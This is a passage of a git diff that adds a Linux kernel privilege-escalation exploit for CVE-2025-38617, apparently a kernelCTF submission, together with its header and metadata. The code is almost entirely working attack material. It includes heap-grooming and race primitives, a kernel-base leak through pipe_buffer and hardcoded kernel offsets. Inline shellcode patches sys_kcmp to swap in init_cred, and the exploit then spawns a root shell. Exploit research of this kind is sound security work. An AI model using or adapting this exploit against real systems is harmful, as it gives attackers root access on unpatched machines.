+ } + + if (pages_order3_read_primitive_build_success) { + struct timespec min_max_amplitude = { .tv_nsec = 2000 }; + timer_interrupt_increment.tv_sec = 0; + timer_interrupt_increment.tv_nsec = 100; + + timer_interrupt_min_amplitude = timespec_sub(timer_interrupt_current_amplitude, min_max_amplitude); + timer_interrupt_max_amplitude = timespec_add(timer_interrupt_current_amplitude, min_max_amplitude); + + leak_simple_xattr_success = pages_order3_read_primitive_build_leaked_simple_xattr( + pages_order3_read_primitive + ); + + if (!leak_simple_xattr_success) { + pages_order3_read_primitive_destroy(pages_order3_read_primitive); + pages_order3_read_primitive_build_success = false; + } + } + } + + u64 pages_order3_simple_xattr_kernel_address = pages_order3_read_primitive_leak_pages_order3_simple_xattr_address( + pages_order3_read_primitive + ); + + printf("[+] pages_order3_simple_xattr_kernel_address: 0x%016lx\n", pages_order3_simple_xattr_kernel_address); + + struct simple_xattr_request *pages_order3_simple_xattr_request = + pages_order3_read_primitive_transfer_leaked_address_request_owner(pages_order3_read_primitive); + + pages_order3_read_primitive_destroy(pages_order3_read_primitive); + + necessary_threads_destroy(necessary_threads); + Close(timerfd); + + timerfd = Timerfd_create(CLOCK_MONOTONIC, 0); + necessary_threads = necessary_threads_create(timerfd); + + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive = simple_xattr_read_write_primitive_create( + necessary_threads, + pages_order3_simple_xattr_request, + pages_order3_simple_xattr_kernel_address, + configure_network_interface_socket, + timerfd + ); + + bool simple_xattr_read_write_primitive_build_success = false; + while (!simple_xattr_read_write_primitive_build_success) { + + struct timespec timer_interrupt_current_amplitude = timer_interrupt_min_amplitude; + + while ( !simple_xattr_read_write_primitive_build_success && + timespec_cmp(timer_interrupt_current_amplitude, timer_interrupt_max_amplitude)) { + + fprintf(stderr, "test with amplitude: %lu secs - %ld nsecs\n", + timer_interrupt_current_amplitude.tv_sec, + timer_interrupt_current_amplitude.tv_nsec + ); + + simple_xattr_read_write_primitive_build_success = simple_xattr_read_write_primitive_build_primitive( + simple_xattr_read_write_primitive, + timer_interrupt_current_amplitude + ); + + timer_interrupt_current_amplitude = timespec_add( + timer_interrupt_current_amplitude, + timer_interrupt_increment + ); + } + } + + simple_xattr_read_write_primitive_build_pages_order5_simple_xattr( + simple_xattr_read_write_primitive + ); + + struct abr_page_read_write_primitive *abr_page_read_write_primitive = abr_page_read_write_primitive_create( + simple_xattr_read_write_primitive + ); + + abr_page_read_write_primitive_build_primitive(abr_page_read_write_primitive); + simple_xattr_read_write_primitive_destroy(simple_xattr_read_write_primitive); + + struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive = + pipe_buffer_read_write_primitive_create(abr_page_read_write_primitive); + + + while (!pipe_buffer_read_write_primitive_build_primitive(pipe_buffer_read_write_primitive)) { + ; + } + + printf("[+] pipe_buffer address: 0x%016lx\n", pipe_buffer_read_write_primitive->pipe_buffer_address); + + struct pipe_buffer *pipe_buffer = pipe_buffer_read_write_primitive_page_mmap(pipe_buffer_read_write_primitive); + + u64 kernel_base = (u64)pipe_buffer->ops - anon_pipe_buf_ops_offset_from_kernel_base; + printf("[+] kernel base: 0x%016lx\n", kernel_base); + + pipe_buffer_read_write_primitive_page_munmap(pipe_buffer_read_write_primitive, pipe_buffer); + + update_kernel_address(kernel_base); + void *sys_kcmp_saved_opcodes = patch_sys_kcmp(abr_page_read_write_primitive); + + int not_used = -1; + syscall(SYS_kcmp, (u32)(init_cred >> 32), (u32)(init_cred), not_used, init_fs, __x86_return_thunk); + + char *sh_args[] = {"sh", NULL}; + execve("/bin/sh", sh_args, NULL); + + necessary_threads_destroy(necessary_threads); +} diff --git a/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/mitigation-v4-6.6/exploit.h b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/mitigation-v4-6.6/exploit.h new file mode 100644 index 000000000..34123dabc --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/mitigation-v4-6.6/exploit.h @@ -0,0 +1,749 @@ +#ifndef EXPLOIT_H +#define EXPLOIT_H + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef int64_t s64; +typedef uint64_t u64; +typedef uint32_t u32; +typedef uint16_t u16; +typedef uint8_t u8; + +struct pgv { + char *buffer; +}; + +static_assert(sizeof(struct pgv) == 8, "sizeof(struct pgv) not match with kernel"); + +struct rb_node { + unsigned long __rb_parent_color; + struct rb_node *rb_right; + struct rb_node *rb_left; +} __attribute__((aligned(sizeof(long)))); + +static_assert(sizeof(struct rb_node) == 24, "sizeof(struct rb_node) not match with kernel"); + +struct simple_xattr { + struct rb_node rb_node; + char *name; + size_t size; + char value[]; +}; + +static_assert(sizeof(struct simple_xattr) == 40, "sizeof(struct simple_xattr) not match with kernel"); + +#define UNUSED_FUNCTION_PARAMETER(x) (void)(x) + +#define PAGE_SIZE 4096UL +#define PAGE_MASK (~(PAGE_SIZE - 1)) +#define PAGES_ORDER1_SIZE (PAGE_SIZE * 2) +#define PAGES_ORDER2_SIZE (PAGE_SIZE * 4) +#define PAGES_ORDER3_SIZE (PAGE_SIZE * 8) +#define PAGES_ORDER4_SIZE (PAGE_SIZE * 16) +#define PAGES_ORDER5_SIZE (PAGE_SIZE * 32) +#define CPU_NUMBER_ZERO 0 +#define CPU_NUMBER_ONE 1 +#define NSEC_PER_SEC 1000000000L +#define NSEC_PER_USEC 1000L +#define USEC_PER_SEC 1000000L +#define TOTAL_TIMERFD_WAITLIST_THREADS 180 + +#define TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR 8 +#define TOTAL_SIMPLE_XATTR_SPRAY_PER_GROOM 8 +#define TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_SIMPLE_XATTR 128 + +#define TOTAL_PAGES_ORDER3_GROOM_FOR_PGV 8 +#define TOTAL_PGV_SPRAY_PER_GROOM 8 +#define TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_PGV 256 +#define MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER3 ((PAGES_ORDER2_SIZE / sizeof(struct pgv)) + 1) + +#define PAGE_COUNT_TO_ALLOCATE_PIPE_BUFFER_ON_PAGES_ORDER2 256 +#define DATA_TO_TRIGGER_PIPE_BUFFER_FILLIN "fillin_pipe_buffer" + +#define MAX_FILTER_LEN 700 +#define TOTAL_SPRAY_PG_VEC 16 +#define MAX_NICE 19 + +#define TMPFS_MOUNT_POINT "/tmp/tmpfs" +#define PAGES_ORDER3_GROOM_SIMPLE_XATTR_FILEPATH "/tmp/tmpfs/pages_order3_groom" +#define PAGES_ORDER3_GROOM_SIMPLE_XATTR_NAME_FMT "security.pages_order3_groom_%d" +#define PAGES_ORDER3_GROOM_SIMPLE_XATTR_VALUE_FMT "pages_order3_groom_%d" +#define PAGES_ORDER3_GROOM_SIMPLE_XATTR_VALUE_BEGIN "pages_order3_groom_" +#define DRAIN_PAGES_FOR_SIMPLE_XATTR_DATA_FMT "drain_for_simple_xattr_packet_socket_%d" +#define DRAIN_PAGES_FOR_SIMPLE_XATTR_DATA_BEGIN "drain_for_simple_xattr_packet_socket_" + +#define PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_FILEPATH "/tmp/tmpfs/pages_order3_reclaim" +#define PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_NAME_FMT "security.pages_order3_reclaim_%d" +#define PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_VALUE_FMT "pages_order3_reclaim_%d" +#define PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_VALUE_BEGIN "pages_order3_reclaim_" + +#define PAGES_ORDER5_LEAKED_ADDRESS_SIMPLE_XATTR_NAME "security.pages_order5_leaked_address" +#define PAGES_ORDER2_LEAKED_ADDRESS_SIMPLE_XATTR_NAME "security.pages_order2_leaked_address" +#define DUMMY_INTERFACE_NAME "pwn_dummy" + +#define __rb_parent(pc) ((struct rb_node *)(pc & ~3)) + +/* LOCAL EXPLOIT +#define anon_pipe_buf_ops_last_24_bits 0xc49840 +#define anon_pipe_buf_ops_offset_from_kernel_base 0x1c49840 + +u64 struct_task_struct_member_cred_offset = 0x7c0; +u64 struct_task_struct_member_real_cred_offset = 0x7b8; +u64 struct_task_struct_member_fs_offset = 0x810; +u64 init_cred = 0x2c72ec0; +u64 init_fs = 0x2dad900; +u64 __x86_return_thunk = 0x1483690; +u64 __do_sys_kcmp = 0x271bd0; +*/ + +u64 anon_pipe_buf_ops_last_24_bits = 0xc4a600; +u64 anon_pipe_buf_ops_offset_from_kernel_base = 0x1c4a600; +u64 init_cred = 0x2c72ec0; +u64 init_fs = 0x2dad900; +u64 __x86_return_thunk = 0x14855d0; +u64 __do_sys_kcmp = 0x273d70; + +static inline void update_kernel_address(u64 kernel_base) +{ + init_cred += kernel_base; + init_fs += kernel_base; + __x86_return_thunk += kernel_base; + __do_sys_kcmp += kernel_base; +} + +static inline bool is_data_look_like_simple_xattr(void *data, size_t value_size) +{ + struct simple_xattr *simple_xattr = data; + struct rb_node rb_node = simple_xattr->rb_node; + struct rb_node *rb_parent = __rb_parent(rb_node.__rb_parent_color); + + if ( + (rb_parent == NULL || (((u64)(rb_parent)) >> 48) == 0xFFFF) && + (rb_node.rb_left == NULL || (((u64)(rb_node.rb_left)) >> 48) == 0xFFFF) && + (rb_node.rb_right == NULL || (((u64)(rb_node.rb_right)) >> 48) == 0xFFFF) && + (((u64)(simple_xattr->name) >> 48) == 0xFFFF) && + (simple_xattr->size == value_size) + ) + return true; + + return false; +} + +static inline void simple_xattr_dump(struct simple_xattr *simple_xattr) +{ + struct rb_node *rb_node = &(simple_xattr->rb_node); + printf("====== simple_xattr_dump ======\n"); + printf("rb_parent: 0x%016lx\n", rb_node->__rb_parent_color); + printf("rb_left: 0x%016lx\n", (u64)rb_node->rb_left); + printf("rb_right: 0x%016lx\n", (u64)(rb_node->rb_right)); + printf("name: 0x%016lx\n", (u64)(simple_xattr->name)); + printf("value_size: 0x%016lx\n", (u64)(simple_xattr->size)); + printf("value: %s\n", (char *)(simple_xattr->value)); +} + +struct pipe_buffer { + void *page; + unsigned int offset, len; + void *ops; + unsigned int flags; + unsigned long private; +}; + +static_assert(sizeof(struct pipe_buffer) == 40, "sizeof(struct pipe_buffer) not match with kernel"); + +static inline bool is_data_look_like_pipe_buffer(struct pipe_buffer *pipe_buffer) +{ + if ( + (((u64)(pipe_buffer->page) >> 48) == 0xFFFF) && + (((u64)(pipe_buffer->ops) & 0xFFFFFF) == anon_pipe_buf_ops_last_24_bits) + ) + return true; + + return false; +} + +static inline void pipe_buffer_dump(struct pipe_buffer *pipe_buffer) +{ + printf("====== pipe_buffer_dump ======\n"); + printf("page: 0x%016lx\n", (u64)(pipe_buffer->page)); + printf("offset: %u, len: %u\n", pipe_buffer->offset, pipe_buffer->len); + printf("ops: 0x%016lx\n", (u64)(pipe_buffer->ops)); + printf("flags: %u\n", pipe_buffer->flags); + printf("private: 0x%016lx\n", pipe_buffer->private); +} + +/* Error handling */ +void unix_error(const char *msg); +void Mnl_socket_error(const char *msg); +void Pthread_error(const char *msg, int error_code); +/* Error handling */ + +/* libc wrapper */ + +void Unshare(int flags); +int Socket(int domain, int type, int protocol); +void Setsockopt(int fd, int level, int optname, const void *optval, socklen_t optlen); +void Getsockopt(int fd, int level, int optname, void *optval, socklen_t *optlen); +void Bind(int fd, const struct sockaddr *addr, socklen_t addrlen); +void Ioctl(int fd, unsigned long request, unsigned long arg); +void Close(int fd); +int Dup(int fd); +void Pipe2(int pipefd[2], int flags); +int Fcntl(int fd, int op, unsigned long arg); +void *Mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset); +void Munmap(void *addr, size_t len); +FILE *Fopen(const char *filename, const char *modes); +void Fclose(FILE *stream); +void *Calloc(size_t nmemb, size_t size); +ssize_t Sendmsg(int socket, const struct msghdr *message, int flags); +void Pthread_create(pthread_t *newthread, const pthread_attr_t *attr, void *(*start_routine) (void *), void *arg); +void Pthread_join(pthread_t thread, void **retval); +void Pthread_setaffinity_np(pthread_t thread, size_t cpusetsize, const cpu_set_t *cpuset); +void Getrlimit(int resource, struct rlimit *rlim); +void Setrlimit(int resource, const struct rlimit *rlim); +void Setpriority(int which, id_t who, int value); +int Timerfd_create(int clockid, int flags); +void Timerfd_settime(int fd, int flags, const struct itimerspec *new_value, struct itimerspec *old_value); +int Epoll_create1(int flags); +void Epoll_ctl(int epfd, int op, int fd, struct epoll_event *event); +unsigned int If_nametoindex(const char *ifname); +void Mkdir(const char *pathname, mode_t mode); +void Mount(const char *source, const char *target, const char *filesystemtype, unsigned long mountflags, const void *data); +int Open(const char *pathname, int flags, mode_t mode); +void Setxattr(const char *path, const char *name, const void *value, size_t size, int flags); +ssize_t Getxattr(const char *path, const char *name, void *value, size_t size); +void Removexattr(const char *path, const char *name); +char *Strdup(const char *s); +ssize_t Read(int fd, void *buf, size_t count); +ssize_t Write(int fd, const void *buf, size_t count); +/* libc wrapper */ + +/* libmnl wrapper */ +struct mnl_socket *Mnl_socket_open(int bus); +void Mnl_socket_close(struct mnl_socket *nl); +void Mnl_socket_bind(struct mnl_socket *nl, unsigned int groups, pid_t pid); +ssize_t Mnl_socket_sendto(const struct mnl_socket *nl, const void *req, size_t size); +ssize_t Mnl_socket_recvfrom(const struct mnl_socket *nl, void *buf, size_t size); +/* libmnl wrapper */ + +void validate_mnl_socket_operation_success(struct mnl_socket *nl, u32 seq); +void dummy_network_interface_create(const char *ifname, u32 mtu); +void network_interface_up(int configure_socket_fd, const char *ifname); +void network_interface_down(int configure_socket_fd, const char *ifname); +void pin_thread_on_cpu(int cpu); +void setup_namespace(void); +void setup_tmpfs(void); +void setup_nofile_rlimit(void); +void create_file(const char *path); +bool thread_in_sleep_state(int tid); +void alloc_pages(int packet_socket, unsigned page_count, unsigned page_size); +void free_pages(int packet_socket); + +struct victim_packet_socket { + struct __kernel_sock_timeval sndtimeo; + struct sockaddr_ll addr; + struct tpacket_req3 tx_ring; + struct tpacket_req3 rx_ring; + int fd; + int packet_loss; + int packet_version; + unsigned packet_reserve; + unsigned short filter_len; + struct sock_filter *filter; +}; + +struct victim_packet_socket *victim_packet_socket_create( + struct __kernel_sock_timeval sndtimeo, + struct sockaddr_ll addr, + struct tpacket_req3 tx_ring, + struct tpacket_req3 rx_ring, + int packet_loss, + int packet_version, + unsigned packet_reserve, + unsigned short filter_len, + struct sock_filter *filter +); + +void victim_packet_socket_destroy(struct victim_packet_socket *v); +void victim_packet_socket_configure_for_exploit(struct victim_packet_socket *v); + +struct simple_xattr_request { + char filepath[PATH_MAX]; + char name[XATTR_NAME_MAX + 1]; + char *value; + size_t value_size; +}; + +struct simple_xattr_request *simple_xattr_request_create( + const char *filepath, + const char *name, + const char *value, + size_t value_size +); + +void simple_xattr_request_destroy(struct simple_xattr_request *request); + +struct simple_xattr_request_container { + struct simple_xattr_request **requests; + size_t requests_size; + size_t requests_length; +}; + +struct simple_xattr_request_container *simple_xattr_request_container_create(size_t size); +void simple_xattr_request_container_insert( + struct simple_xattr_request_container *container, + struct simple_xattr_request *request +); + +struct simple_xattr_request *simple_xattr_request_container_pop_at( + struct simple_xattr_request_container *container, + size_t idx +); + +ssize_t simple_xattr_request_container_search_by_value( + struct simple_xattr_request_container *container, + const char *search_value, + size_t search_value_size +); + +struct simple_xattr_request_container *simple_xattr_request_container_clone( + struct simple_xattr_request_container *container +); + +void simple_xattr_request_container_destroy(struct simple_xattr_request_container *container); + +struct simple_xattr_thread_work { + struct { + bool page_groom; + + struct simple_xattr_request_container *container_for_page_groom; + }; + + bool free_placeholder; + + struct { + bool free_and_reclaim_leak_page; + void *leak_data; + size_t leak_data_size; + struct simple_xattr_request_container *container_for_reclaim_leak_page; + }; + + struct { + bool cleanup; + struct simple_xattr_request_container *container_for_cleanup; + }; +}; + +struct timerfd_waitlist_thread { + pthread_t handle; + pthread_mutex_t mutex; + pthread_cond_t cond; + bool ready_to_work; + bool work_complete; + bool unshare_complete; + bool quit; + int timerfd; + int *timerfds; + int total_timerfd; + struct epoll_event *epoll_events; +}; + +void *timerfd_waitlist_thread_fn(void *arg); +void timerfd_waitlist_thread_wait_unshare_complete(struct timerfd_waitlist_thread *t); +int timerfd_waitlist_thread_get_timerfd(struct timerfd_waitlist_thread *t); +void timerfd_waitlist_thread_send_work(struct timerfd_waitlist_thread *t); +void timerfd_waitlist_thread_wait_work_complete(struct timerfd_waitlist_thread *t); +void timerfd_waitlist_thread_quit(struct timerfd_waitlist_thread *t); +struct timerfd_waitlist_thread *timerfd_waitlist_thread_create(int timerfd); +void timerfd_waitlist_thread_destroy(struct timerfd_waitlist_thread *t); + +struct pg_vec_lock_thread_work { + struct victim_packet_socket *victim_packet_socket; + int ifindex; +}; + +struct pg_vec_lock_thread_work *pg_vec_lock_thread_work_create(struct victim_packet_socket *v, int ifindex); +void pg_vec_lock_thread_work_destroy(struct pg_vec_lock_thread_work *w); + +struct pg_vec_lock_thread { + pthread_t handle; + pthread_mutex_t mutex; + pthread_cond_t cond; + bool ready_to_work; + bool work_complete; + bool quit; + int tid; + int packet_socket; + int ifindex; + struct timespec sendmsg_begin_time; + struct pg_vec_lock_thread_work *work; +}; + +void *pg_vec_lock_thread_fn(void *arg); +void pg_vec_lock_thread_send_work(struct pg_vec_lock_thread *t, struct pg_vec_lock_thread_work *w); +void pg_vec_lock_thread_wait_in_work(struct pg_vec_lock_thread *t); +void pg_vec_lock_thread_wait_work_complete(struct pg_vec_lock_thread *t); +void pg_vec_lock_thread_quit(struct pg_vec_lock_thread *t); +struct pg_vec_lock_thread *pg_vec_lock_thread_create(void); +void pg_vec_lock_thread_destroy(struct pg_vec_lock_thread *t); + +struct pg_vec_buffer_thread { + pthread_t handle; + pthread_mutex_t mutex; + pthread_cond_t cond; + bool ready_to_work; + bool work_complete; + bool unshare_complete; + bool quit; + int tid; + struct pg_vec_buffer_thread_work *work; +}; + +struct pg_vec_buffer_thread_work { + struct victim_packet_socket *victim_packet_socket; + bool exploit; + bool cleanup; +}; + +struct pg_vec_buffer_thread_work *pg_vec_buffer_thread_work_create( + struct victim_packet_socket *v, + bool exploit, + bool cleanup +); +void pg_vec_buffer_thread_work_destroy(struct pg_vec_buffer_thread_work *w); + +void *pg_vec_buffer_thread_fn(void *arg); +void pg_vec_buffer_thread_send_work(struct pg_vec_buffer_thread *t, struct pg_vec_buffer_thread_work *w); +void pg_vec_buffer_thread_wait_in_work(struct pg_vec_buffer_thread *t); +void pg_vec_buffer_thread_wait_work_complete(struct pg_vec_buffer_thread *t); +void pg_vec_buffer_thread_quit(struct pg_vec_buffer_thread *t); +struct pg_vec_buffer_thread *pg_vec_buffer_thread_create(void); +void pg_vec_buffer_thread_destroy(struct pg_vec_buffer_thread *t); + +struct tpacket_rcv_thread_work { + struct timespec pg_vec_lock_release_time; + struct msghdr *msg; +}; + +struct tpacket_rcv_thread_work *tpacket_rcv_thread_work_create( + struct timespec pg_vec_lock_release_time, + struct msghdr *msg +); + +void tpacket_rcv_thread_work_destroy(struct tpacket_rcv_thread_work *w); + +struct tpacket_rcv_thread { + pthread_t handle; + pthread_mutex_t mutex; + pthread_cond_t cond; + bool ready_to_work; + bool work_complete; + bool quit; + struct tpacket_rcv_thread_work *work; +}; + +void *tpacket_rcv_thread_fn(void *arg); +void tpacket_rcv_thread_send_work(struct tpacket_rcv_thread *t, struct tpacket_rcv_thread_work *w); +void tpacket_rcv_thread_wait_work_complete(struct tpacket_rcv_thread *t); +void tpacket_rcv_thread_quit(struct tpacket_rcv_thread *t); +struct tpacket_rcv_thread *tpacket_rcv_thread_create(void); +void tpacket_rcv_thread_destroy(struct tpacket_rcv_thread *t); + +struct msghdr *msghdr_create( + void *data, + size_t datalen, + const char *devname +); + +void msghdr_destroy(struct msghdr *msghdr); + +static inline struct timespec timespec_sub(struct timespec t1, struct timespec t2) +{ + struct timespec diff = {}; + diff.tv_nsec = t1.tv_nsec - t2.tv_nsec; + diff.tv_sec = t1.tv_sec - t2.tv_sec; + + if (diff.tv_sec > 0 && diff.tv_nsec < 0) { + diff.tv_nsec += NSEC_PER_SEC; + diff.tv_sec--; + } else if (diff.tv_sec < 0 && diff.tv_nsec > 0) { + diff.tv_nsec -= NSEC_PER_SEC; + diff.tv_sec++; + } + + return diff; +} + +static inline struct timespec timespec_add(struct timespec t1, struct timespec t2) +{ + struct timespec sum = {}; + sum.tv_nsec = t1.tv_nsec + t2.tv_nsec; + sum.tv_sec = t1.tv_sec + t2.tv_sec; + + if (sum.tv_nsec >= NSEC_PER_SEC) { + sum.tv_sec++; + sum.tv_nsec -= NSEC_PER_SEC; + } + + return sum; +} + +static inline int timespec_cmp(struct timespec t1, struct timespec t2) +{ + if (t1.tv_sec < t2.tv_sec) + return -1; + + if (t1.tv_sec > t2.tv_sec) + return 1; + + if (t1.tv_nsec < t2.tv_nsec) + return -1; + + if (t1.tv_nsec > t2.tv_nsec) + return 1; + + return 0; +} + +struct necessary_threads { + struct timerfd_waitlist_thread **timerfd_waitlist_threads; + struct pg_vec_lock_thread *pg_vec_lock_thread; + struct pg_vec_buffer_thread *pg_vec_buffer_thread; + struct tpacket_rcv_thread *tpacket_rcv_thread; +}; + +struct necessary_threads *necessary_threads_create(int timerfd); +void necessary_threads_destroy(struct necessary_threads *nt); + +struct pages_order3_read_primitive { + struct simple_xattr_request *victim_request; + struct simple_xattr_request *leaked_content_request; + struct simple_xattr_request *leaked_address_request; + struct simple_xattr_request_container *groom_container; + struct simple_xattr_request_container *reclaim_drain_pages_container; + struct necessary_threads *necessary_threads; + int drain_order3_pages_packet_sockets[TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR]; + int placeholder_packet_sockets[TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR]; + int configure_network_interface_socket; + int timerfd; +}; + +struct pages_order3_read_primitive *pages_order3_read_primitive_create( + struct necessary_threads *necessary_threads, + int configure_network_interface_socket, + int timerfd +); + +void pages_order3_read_primitive_destroy(struct pages_order3_read_primitive *pages_order3_read_primitive); + +bool pages_order3_read_primitive_build_primitive( + struct pages_order3_read_primitive *pages_order3_read_primitive, + struct timespec timer_interrupt_amplitude +); +void *pages_order3_read_primitive_trigger(struct pages_order3_read_primitive *pages_order3_read_primitive); +bool pages_order3_read_primitive_build_leaked_simple_xattr( + struct pages_order3_read_primitive *pages_order3_read_primitive +); + +u64 pages_order3_read_primitive_leak_pages_order3_simple_xattr_address( + struct pages_order3_read_primitive *pages_order3_read_primitive +); + +static inline struct simple_xattr_request *pages_order3_read_primitive_transfer_leaked_address_request_owner( + struct pages_order3_read_primitive *pages_order3_read_primitive +) +{ + struct simple_xattr_request *leaked_address_request = pages_order3_read_primitive->leaked_address_request; + pages_order3_read_primitive->leaked_address_request = NULL; + + if (leaked_address_request == pages_order3_read_primitive->victim_request) + pages_order3_read_primitive->victim_request = NULL; + + return leaked_address_request; +} + +void pages_order3_read_primitive_cleanup_unused_simple_xattr( + struct pages_order3_read_primitive *pages_order3_read_primitive +); + +void pages_order3_read_primitive_cleanup_unused_packet_sockets( + struct pages_order3_read_primitive *pages_order3_read_primitive +); + +enum leak_data_kind { + LEAK_DATA_SIMPLE_XATTR, + LEAK_DATA_PAGE_DRAIN, + LEAK_DATA_UNKNOWN +}; + +static inline int pages_order3_leak_data_kind(void *leak_data) +{ + if (is_data_look_like_simple_xattr(leak_data, PAGES_ORDER2_SIZE)) + return LEAK_DATA_SIMPLE_XATTR; + + if (strncmp( + leak_data, + DRAIN_PAGES_FOR_SIMPLE_XATTR_DATA_BEGIN, + strlen(DRAIN_PAGES_FOR_SIMPLE_XATTR_DATA_BEGIN) + ) == 0) + return LEAK_DATA_PAGE_DRAIN; + + return LEAK_DATA_UNKNOWN; +} + +struct simple_xattr_read_write_primitive { + u64 pages_order3_simple_xattr_kernel_address; + struct simple_xattr_request *pages_order3_simple_xattr_request; + u64 pages_order5_simple_xattr_kernel_address; + struct simple_xattr_request *pages_order5_simple_xattr_request; + struct necessary_threads *necessary_threads; + int victim_packet_socket; + int drain_order3_pages_packet_sockets[TOTAL_PAGES_ORDER3_GROOM_FOR_PGV]; + int placeholder_packet_sockets[TOTAL_PAGES_ORDER3_GROOM_FOR_PGV]; + int spray_pgv_packet_sockets[TOTAL_PAGES_ORDER3_GROOM_FOR_PGV * TOTAL_PGV_SPRAY_PER_GROOM]; + int configure_network_interface_socket; + int timerfd; +}; + +struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive_create( + struct necessary_threads *necessary_threads, + struct simple_xattr_request *pages_order3_simple_xattr_request, + u64 pages_order3_simple_xattr_kernel_address, + int configure_network_interface_socket, + int timerfd +); + +void simple_xattr_read_write_primitive_destroy( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +); + +bool simple_xattr_read_write_primitive_build_primitive( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive, + struct timespec timer_interrupt_amplitude +); + +void simple_xattr_read_write_primitive_build_pages_order5_simple_xattr( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +); + +void *simple_xattr_read_write_primitive_mmap( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +); + +void simple_xattr_read_write_primitive_munmap( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive, + void *mmap_addr +); + +struct abr_page_read_write_primitive { + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive; + int overwrite_pgv_packet_socket; + int allocate_pgv_packet_socket; + u64 pgv_kernel_address; + struct simple_xattr_request *pages_order5_simple_xattr_request; + u64 pages_order5_simple_xattr_address; +}; + +struct abr_page_read_write_primitive *abr_page_read_write_primitive_create( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +); + +bool abr_page_read_write_primitive_build_primitive(struct abr_page_read_write_primitive *abr_page_read_write_primitive); +void *abr_page_read_write_primitive_page_mmap( + struct abr_page_read_write_primitive *abr_page_read_write_primitive, + u64 addr_to_mmap +); + +void abr_page_read_write_primitive_page_munmap( + struct abr_page_read_write_primitive *abr_page_read_write_primitive, + void *mmap_addr +); + +struct pipe_buffer_read_write_primitive { + struct abr_page_read_write_primitive *abr_page_read_write_primitive; + int pipe_fds[2]; + u64 pipe_buffer_address; +}; + +struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive_create( + struct abr_page_read_write_primitive *abr_page_read_write_primitive +); + +bool pipe_buffer_read_write_primitive_build_primitive( + struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive +); + +struct pipe_buffer *pipe_buffer_read_write_primitive_page_mmap( + struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive +); + +void pipe_buffer_read_write_primitive_page_munmap( + struct pipe_buffer_read_write_primitive *pipe_buffer_read_write_primitive, + void *mmap_addr +); + +extern void privilege_escalation_shellcode_begin(void); +extern void privilege_escalation_shellcode_end(void); + +__asm__( + ".intel_syntax noprefix;" + ".global privilege_escalation_shellcode_begin;" + ".global privilege_escalation_shellcode_end;" + + "privilege_escalation_shellcode_begin:\n" + + "mov rax,QWORD PTR gs:0x32380;" + "shl rdi, 32;" + "shl rsi, 32;" + "shr rsi, 32;" + "or rdi, rsi;" + "mov QWORD PTR [rax + 0x7c0], rdi;" + "mov QWORD PTR [rax + 0x7b8], rdi;" + "mov QWORD PTR [rax + 0x810], rcx;" + "jmp r8;" + + "privilege_escalation_shellcode_end:\n" + ".att_syntax;" +); + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/metadata.json b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/metadata.json new file mode 100644 index 000000000..dd6c1c619 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/metadata.json @@ -0,0 +1,30 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp375", "exp396"], + "vulnerability": { + "cve": "CVE-2025-38617", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=01d3c8417b9c1b884a8a981a3b886da556512f36", + "affected_versions": ["2.6.12 - 6.16"], + "requirements": { + "attack_surface": ["userns"], + "capabilities": ["CAP_NET_RAW"], + "kernel_config": [ + "CONFIG_PACKET" + ] + } + }, + "exploits": { + "mitigation-v4-6.6": { + "environment": "mitigation-v4-6.6", + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "100% success rate" + }, + "cos-109-17800.519.41": { + "environment": "cos-109-17800.519.41", + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "100% success rate" + } + } + } \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/original_exp375.tar.gz b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/original_exp375.tar.gz new file mode 100644 index 000000000..ff53a60c1 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/original_exp375.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/original_exp396.tar.gz b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/original_exp396.tar.gz new file mode 100644 index 000000000..6047da6a7 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/original_exp396.tar.gz differ